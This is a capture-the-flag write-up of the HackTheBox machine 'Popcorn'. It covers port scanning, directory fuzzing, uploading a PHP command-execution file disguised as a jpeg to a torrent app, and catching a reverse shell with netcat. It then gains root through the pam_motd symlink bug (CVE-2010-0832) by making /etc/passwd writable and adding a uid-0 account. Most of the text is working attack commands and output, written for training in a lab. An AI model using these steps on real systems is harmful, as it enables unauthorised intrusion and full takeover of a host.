12 minutes
hackthebox - popcorn
hi!
in this post i will be doing a writeup of a retired box from hackthebox, called popcorn.
this is a “medium” rated linux machine (but really it’s on the easier side).
enumeration
so first of all we want to run a portscan to see what services are exposed to us. i like using nmap
since it has good built-in functionality for scanning services as well as performing different kind of scans.
let’s run a quick scan on the entire TCP port range 1-65536 to determine which ports are open:
nmap -p- -Pn -vvv -oA popcorn-initial -T4 10.10.10.6
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
it looks like there’s ssh and http.
you can also scan udp with the -sU
flag, but doing a full udp scan takes an insane amount of time and the scan results aren’t always that reliable (because of how udp works in general). if you want to scan udp i suggest scanning the top 1000 ports. (but sometimes the way in can be from udp as well)
to perform service enumeration and script scanning on the ports we will use the -sC
and -sV
flags:
nmap -p22,80 -Pn -vvv -oA popcorn-detailed -sC -sV -T4 10.10.10.6
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBAIAn8zzHM1eVS/OaLgV6dgOKaT+kyvjU0pMUqZJ3AgvyOrxHa2m+ydNk8cixF9lP3Z8gLwquTxJDuNJ05xnz9/DzZClqfNfiqrZRACYXsquSAab512kkl+X6CexJYcDVK4qyuXRSEgp4OFY956Aa3CCL7TfZxn+N57WrsBoTEb9PAAAAFQDMosEYukWOzwL00PlxxLC+lBadWQAAAIAhp9/JSROW1jeMX4hCS6Q/M8D1UJYyat9aXoHKg8612mSo/OH8Ht9ULA2vrt06lxoC3O8/1pVD8oztKdJgfQlWW5fLujQajJ+nGVrwGvCRkNjcI0Sfu5zKow+mOG4irtAmAXwPoO5IQJmP0WOgkr+3x8nWazHymoQlCUPBMlDPvgAAAIBmZAfIvcEQmRo8Ef1RaM8vW6FHXFtKFKFWkSJ42XTl3opaSsLaJrgvpimA+wc4bZbrFc4YGsPc+kZbvXN3iPUvQqEldak3yUZRRL3hkF3g3iWjmkpMG/fxNgyJhyDy5tkNRthJWWZoSzxS7sJyPCn6HzYvZ+lKxPNODL+TROLkmQ==
| 2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBXr3xI9cjrxMH2+DB7lZ6ctfgrek3xenkLLv2vJhQQpQ2ZfBrvkXLsSjQHHwgEbNyNUL+M1OmPFaUPTKiPVP9co0DEzq0RAC+/T4shxnYmxtACC0hqRVQ1HpE4AVjSagfFAmqUvyvSdbGvOeX7WC00SZWPgavL6pVq0qdRm3H22zIVw/Ty9SKxXGmN0qOBq6Lqs2FG8A14fJS9F8GcN9Q7CVGuSIO+UUH53KDOI+vzZqrFbvfz5dwClD19ybduWo95sdUUq/ECtoZ3zuFb6ROI5JJGNWFb6NqfTxAM43+ffZfY28AjB1QntYkezb1Bs04k8FYxb5H7JwhWewoe8xQ==
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.12 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Linux 2.6.17 - 2.6.36 (95%), Linux 2.6.32 (95%), Linux 2.4.20 (Red Hat 7.2) (95%), Linux 2.6.17 (95%), Android 2.3.5 (Linux 2.6) (95%), Linux 2.6.30 (95%), Linux 2.6.35 (95%), AVM FRITZ!Box FON WLAN 7240 WAP (94%), Canon imageRUNNER ADVANCE C3320i or C3325 copier (94%), Epson WF-2660 printer (94%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.80%E=4%D=8/10%OT=22%CT=%CU=41610%PV=Y%DS=2%DC=T%G=N%TM=5F31B79D%P=x86_64-pc-linux-gnu)
SEQ(SP=C6%GCD=1%ISR=CC%TI=Z%CI=Z%II=I%TS=8)
OPS(O1=M54DST11NW6%O2=M54DST11NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DST11NW6%O6=M54DST11)
WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)
ECN(R=Y%DF=Y%T=40%W=16D0%O=M54DNNSNW6%CC=Y%Q=)
T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=Y%DF=Y%T=40%W=16A0%S=O%A=S+%F=AS%O=M54DST11NW6%RD=0%Q=)
T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)
IE(R=Y%DFI=N%T=40%CD=S)
take note of the openssh and apache version numbers.
if you google the openssh version you can find the matching ubuntu version which is karmic
(9.10)
this is pretty outdated (considering the box is 4 years old it’s to be expected, but still outdated)
http port is running apache 2.2.12 which is also an older version.
let’s see what’s on the webserver.
just a default apache test page.
i’ve checked for /robots.txt
which gave a 404. (robots.txt is a file which tells webcrawlers/search engines which directories are allowed/disallowed for indexing)
at this point it’s a good idea to run a fuzzing tool to check for hidden files and directories.
i recommend ffuf since it works pretty fast and has a good feature set.
ffuf -u http://10.10.10.6/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
index [Status: 200, Size: 177, Words: 22, Lines: 5]
test [Status: 200, Size: 47067, Words: 2465, Lines: 651]
torrent [Status: 301, Size: 310, Words: 20, Lines: 10]
rename [Status: 301, Size: 309, Words: 20, Lines: 10]
let’s check the results.
/test
appears to be a phpinfo()
page, which gives us a great deal of information about the system!
now we know
- linux kernel version is 2.6.31-14 (which is old and vulnerable)
- host is 32-bit (i686)
if you scroll further down you’ll find:
- user is
www-data
- webserver root is
/var/www
- openssl version is 0.9.8g
- mysql version is 5.1.37
and more.
/rename
looks like an API for renaming files, which could be useful.
and /torrent
seems the most interesting by far. this is a web app used for sharing and hosting torrents.
exploiting the web app
there’s an upload functionality, which is basically obligatory to mess around with in web applications.
the upload page redirects to /torrent/login.php
which has a “sign up” link.
this takes us to http://10.10.10.6/torrent/users/index.php?mode=register
where we are presented with a registration form.
i’ve used test
as both the username and password, test@test.com
for the email address and registered.
follow the login link after the registration and log in with your credentials.
now we’re presented with a slightly different screen:
it seems the uploaded torrents show up here.
now back to the upload page.
here i suggest using burpsuite while playing around with the upload form so you can see what’s going on. (covering burp usage is beyond the scope of this blog post so i’ll assume you have basic knowledge of how to use the proxy and repeater)
so point your browser to burp and start the proxy (turn intercept off).
i assumed the upload form was expecting a .torrent
file from me, so i decided to test the regular functionality first, before starting to mess around with it.
go to any linux distribution website and grab their latest torrent file (you just need the .torrent
file no need to actually torrent it!)
i got the archlinux torrent from their site and uploaded it to popcorn.
after the upload is completed we’re redirected to its page:
in burp the upload looks like this:
on this page the most interesting thing to me was the screenshots section, with “edit this torrent” button.
when pressed it opens a new window:
and again there’s a file upload option for screenshots.
try uploading a regular image, i decided that a popcorn image was appropriate:
and in burp it looks like this:
so actually this time it’s calling upload_file.php
instead of torrents.php
.
now send this request to repeater.
remove all the image data from the content body and use this simple php snippet:
<?php
echo(shell_exec("whoami"));
?>
change the file extension to .php
but keep the content-type
as image/jpeg
.
it should look something like this:
the file is uploaded successfully.
now go back to the page with torrent details and you will see this:
when you click on the “image file not found” error, it will take you to your php file:
and we have code execution :)
now let’s get an interactive shell.
you can use a simple php reverse shell for this purpose.
to catch the reverse shell you can use netcat in listener mode: nc -lnvvp 1337
will start a listener on port 1337.
change the port and ip in php-reverse-shell.php
, and upload it to the site using the same method as before.
when you browse to the php file, you should get a shell as www-data
:
we are in :)
let’s perform some basic checks before going forward:
www-data@popcorn:/$ ip a # 10.10.10.6
www-data@popcorn:/$ hostname # popcorn
www-data@popcorn:/$ uname -ar # 2.6.31-14-generic-pae i686
and we can see that it matches up with the information we found earlier on the phpinfo()
page.
let’s see if we can get the user flag:
www-data@popcorn:/$ ls -al /home
total 12
drwxr-xr-x 3 root root 4096 Mar 17 2017 .
drwxr-xr-x 21 root root 4096 Aug 11 02:27 ..
drwxr-xr-x 3 george george 4096 Mar 17 2017 george
www-data@popcorn:/$ ls -al /home/george
total 872
drwxr-xr-x 3 george george 4096 Mar 17 2017 .
drwxr-xr-x 3 root root 4096 Mar 17 2017 ..
-rw------- 1 root root 2769 May 5 2017 .bash_history
-rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout
-rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc
drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache
-rw------- 1 root root 1571 Mar 17 2017 .mysql_history
-rw------- 1 root root 19 May 5 2017 .nano_history
-rw-r--r-- 1 george george 675 Mar 17 2017 .profile
-rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Mar 17 2017 user.txt
www-data@popcorn:/$ cat /home/george/user.txt
5e36a919398ecc5d5c110f2d865cf136
looks like we can read user.txt
and it contains the user flag!
privilege escalation
previously in my linux privilege escalation basics post i mentioned some methods of enumerating linux machines while looking for privilege escalation methods. now we will put some of these to use.
www-data@popcorn:/$ cat /etc/*issue
Ubuntu 9.10 \n \l
www-data@popcorn:/$ cat /etc/*release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=9.10
DISTRIB_CODENAME=karmic
DISTRIB_DESCRIPTION="Ubuntu 9.10"
www-data@popcorn:/$ uname -ar
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
the first obvious thing to try would be to use a kernel exploit since it’s so old (which happens to be one of the solutions). you can use full-nelson which will give you root
in about 5 seconds. however this isn’t much fun so i’m not going to talk about it.
instead i’ll show you another way without using a kernel exploit :)
let’s check more thoroughly in the /home/
folder:
www-data@popcorn:/$ ls -alR /home
/home:
total 12
drwxr-xr-x 3 root root 4096 Mar 17 2017 .
drwxr-xr-x 21 root root 4096 Aug 11 02:27 ..
drwxr-xr-x 3 george george 4096 Mar 17 2017 george
/home/george:
total 872
drwxr-xr-x 3 george george 4096 Mar 17 2017 .
drwxr-xr-x 3 root root 4096 Mar 17 2017 ..
-rw------- 1 root root 2769 May 5 2017 .bash_history
-rw-r--r-- 1 george george 220 Mar 17 2017 .bash_logout
-rw-r--r-- 1 george george 3180 Mar 17 2017 .bashrc
drwxr-xr-x 2 george george 4096 Mar 17 2017 .cache
-rw------- 1 root root 1571 Mar 17 2017 .mysql_history
-rw------- 1 root root 19 May 5 2017 .nano_history
-rw-r--r-- 1 george george 675 Mar 17 2017 .profile
-rw-r--r-- 1 george george 0 Mar 17 2017 .sudo_as_admin_successful
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Mar 17 2017 user.txt
/home/george/.cache:
total 8
drwxr-xr-x 2 george george 4096 Mar 17 2017 .
drwxr-xr-x 3 george george 4096 Mar 17 2017 ..
-rw-r--r-- 1 george george 0 Mar 17 2017 motd.legal-displayed
ls -alR /home
the hidden .cache
directory has a motd.legal-displayed
file! (motd is “message of the day”).
this is basically a shell script which gets executed when you log in (f.e. with ssh).
now if you search motd vulnerability
on google, you’ll find this: https://www.exploit-db.com/exploits/14273
reading the script, it mentions the pam
version should be 1.1.0
for this to work. let’s verify it:
www-data@popcorn:/$ dpkg -l | grep pam
ii libpam-modules 1.1.0-2ubuntu1 Pluggable Authentication Modules for PAM
ii libpam-runtime 1.1.0-2ubuntu1 Runtime support for the PAM library
ii libpam0g 1.1.0-2ubuntu1 Pluggable Authentication Modules library
ii python-pam 0.4.2-12ubuntu3 A Python interface to the PAM library
perfect.
the CVE description says: “pam_motd (aka the MOTD module) in libpam-modules before 1.1.0-2ubuntu1.1 in PAM on Ubuntu 9.10 and libpam-modules before 1.1.1-2ubuntu5 in PAM on Ubuntu 10.04 LTS allows local users to change the ownership of arbitrary files via a symlink attack on .cache in a user’s home directory, related to “user file stamps” and the motd.legal-notice file.”
basically we can symlink the .cache
directory to anything we want and log in via ssh. after that the symlinked file will belong to us.
let’s try it.
to trigger the vulnerability, we need to first create the .ssh
and .cache
directories in $HOME
(/var/www
in this case)
www-data@popcorn:/$ cd /var/www
www-data@popcorn:/var/www$ mkdir .ssh .cache
next step is to create an ssh key pair.
www-data@popcorn:/var/www$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/var/www/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /var/www/.ssh/id_rsa.
Your public key has been saved in /var/www/.ssh/id_rsa.pub.
The key fingerprint is:
d7:7c:0d:33:92:6d:63:56:1b:69:2e:4d:18:14:9d:9f www-data@popcorn
The key's randomart image is:
+--[ RSA 2048]----+
| .+=.+|
| + Bo|
| o #.o|
| o * E.|
| S . o o .|
| . . |
| |
| |
| |
+-----------------+
just press enter three times.
set up authorized_keys
:
www-data@popcorn:/var/www$ mv .ssh/id_rsa.pub .ssh/authorized_keys
and make sure .ssh
directory has the right permissions:
www-data@popcorn:/var/www$ chmod -R 700 .ssh
if the permissions aren’t set to 700
then you will not be able to use the key for logging in.
note: if your netcat shell prevents you from using ssh, you can run python -c 'import pty;pty.spawn("/bin/bash")'
to get a semi-interactive pty shell.
before we attempt the exploit try if the ssh login works:
www-data@popcorn:/var/www$ ssh localhost -i ~/.ssh/id_rsa
The authenticity of host 'localhost (::1)' can't be established.
RSA key fingerprint is aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
System information as of Tue Aug 11 05:39:37 EEST 2020
System load: 0.0 Memory usage: 6% Processes: 113
Usage of /: 6.2% of 14.80GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at https://landscape.canonical.com/
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Aug 11 05:31:51 2020 from localhost
$
great. we’re almost ready.
leave the ssh session using exit
.
in my privilege escalation blog post’s exploitation section, i mentioned how we can add a user into /etc/passwd
.
by using the vulnerability in libpam, we can gain write privileges to this file and add a new user with root privileges.
www-data@popcorn:/var/www$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1031 Mar 17 2017 /etc/passwd
right now we can’t write to this file. let’s set up our symbolic link and log in via ssh.
www-data@popcorn:/var/www$ rm -rf .cache
www-data@popcorn:/var/www$ ln -sf /etc/passwd .cache
www-data@popcorn:/var/www$ ls -al .cache
lrwxrwxrwx 1 www-data www-data 11 Aug 11 05:44 .cache -> /etc/passwd
www-data@popcorn:/var/www$ ssh localhost -i ~/.ssh/id_rsa # exit after logging in
www-data@popcorn:/var/www$ ls -al /etc/passwd
-rw-r--r-- 1 www-data www-data 1031 Mar 17 2017 /etc/passwd
and now /etc/passwd
belongs to www-data
!
let’s add our root user:
www-data@popcorn:/var/www$ openssl passwd evil
I7qmEzDbr4/SY
www-data@popcorn:/var/www$ echo "hacker:I7qmEzDbr4/SY:0:0:root:/root:/bin/bash" >> /etc/passwd
www-data@popcorn:/var/www$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
landscape:x:102:105::/var/lib/landscape:/bin/false
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
george:x:1000:1000:George Papagiannopoulos,,,:/home/george:/bin/bash
mysql:x:104:113:MySQL Server,,,:/var/lib/mysql:/bin/false
hacker:I7qmEzDbr4/SY:0:0:root:/root:/bin/bash
and finally:
www-data@popcorn:/var/www$ su hacker
Password: evil
root@popcorn:/var/www# id
uid=0(root) gid=0(root) groups=0(root)
you can grab the root flag from /root/root.txt
.
summary
to summarize what we did:
- scan ports and identify ssh & http services
- enumerate http service to find the vulnerable “torrent hoster” app
- upload our malicious php code as a “screenshot” to get reverse shell as
www-data
- enumerate system and find the vulnerable application
- escalate our privileges using a symlink attack on
/etc/passwd
using the bug inlibpam 1.1.0
(CVE-2010-0832)
conclusion
so that was popcorn.
all in all i would say this is a decent beginner box, it’s a nice example of how file upload vulnerabilities can be used to gain code execution on a machine.
i hope this was helpful. i will try to post more of these every now and then, if you’re interested keep following!
happy hacking!
2479 Words
2020-08-11 05:23